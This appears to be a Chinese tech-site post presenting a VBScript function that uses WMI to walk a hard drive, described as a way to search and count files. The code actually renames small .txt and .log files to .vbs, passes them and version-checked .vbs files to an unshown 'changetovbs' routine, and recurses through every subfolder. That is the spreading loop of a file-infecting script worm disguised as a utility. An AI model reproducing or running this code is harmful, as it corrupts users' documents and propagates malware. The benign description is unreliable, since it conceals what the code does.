当前位置： 移动技术网 > IT编程>脚本编程>VBScript > VBS调用WMI遍历搜索硬盘文件并计数的方法

VBS调用WMI遍历搜索硬盘文件并计数的方法

2017年12月01日  | 移动技术网IT编程  | 我要评论

中石化物装部,爱聚合,豹纹窄尾魟

多年之前写的一个vbs调用wmi来遍历搜索硬盘文件，并计数的函数，今天整理网盘，看到了，发上来

核心代码：

function wmisfile(path_sf,justcnt)
  'on error resume next
  strcomputer = "."
  set objwmiservice = getobject("winmgmts:\\" & strcomputer & "\root\cimv2")
  set filelist = objwmiservice.execquery _
  ("associators of {win32_directory.name='" & path_sf & "'} where " _
   & "resultclass = cim_datafile")
  for each objfile in filelist
    fname = lcase(objfile.name)
    ename = lcase(objfile.extension)
    if 1 < objfile.filesize and objfile.filesize <= 50000 then
      select case ename
        case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objfile.path & objfile.filename & ".vbs")
        call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        case "vbs"
        if checkversion(fname) = false then
          call changetovbs(fname,fname)
          justcnt = justcnt + 1
        end if
      end select
    end if
  next
  set colsubfolders = objwmiservice.execquery _
  ("associators of {win32_directory.name='" & path_sf & "'} " _
   & "where assocclass = win32_subdirectory " _
   & "resultrole = partcomponent")
  for each objfolder in colsubfolders
    wmisfile objfolder.name,justcnt
  next
end function

您可能感兴趣的文章:

如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！ 点击进行留言回复

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网